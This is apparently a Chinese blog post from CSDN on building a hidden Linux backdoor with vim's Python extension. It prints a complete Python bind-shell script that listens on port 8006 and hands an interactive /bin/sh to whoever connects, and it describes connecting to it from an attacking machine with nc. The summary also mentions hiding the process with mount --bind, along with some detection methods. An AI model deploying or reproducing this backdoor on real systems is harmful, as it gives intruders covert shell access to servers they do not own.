jio文件 久其_vim+py文件构造linux后门

本文介绍了如何在没有Python环境的Linux服务器上,利用vim的Python扩展创建一个隐蔽的后门。通过编写简单的Python后门脚本,结合nohup、重定向输出到/dev/null以及使用mount --bind隐藏进程,实现了一个难以检测的后门。同时,文章还讨论了如何通过分析mountinfo和使用tcpkill工具来检测和阻断此类后门。
摘要由CSDN通过智能技术生成

linux 后门有很多,像bash后门,openssh后门等等,今天,我将带大家探讨一下python后门。191a3b52f6acf5a2087fdd2f9710bff0.pngpython后门,其实就是用python编写的一个简单的socket服务器端。具体实现代码如下:

from socket import * 
import subprocess 
import os, threading, sys, time 
if __name__ == "__main__": 
        server=socket(AF_INET,SOCK_STREAM) 
        server.bind(('0.0.0.0',8006)) 
        server.listen(5) 
        talk, addr = server.accept() 
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, 
                stdout=talk, stderr=talk, shell=True)

以上代码原理也很简单,创建套接字,绑定套接字(也就是之后开启的监听端口),监听套接字(其中数字5代表有5台设备可同时连接),将linux下的标准输入、输出、错误重定向到套接字中并开启一个shell,从而实现数据传输。在使用python启动脚本,并在攻击机上使用nc进行连接。成功连接后,受害者主机要显示建立了一个sh连接。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值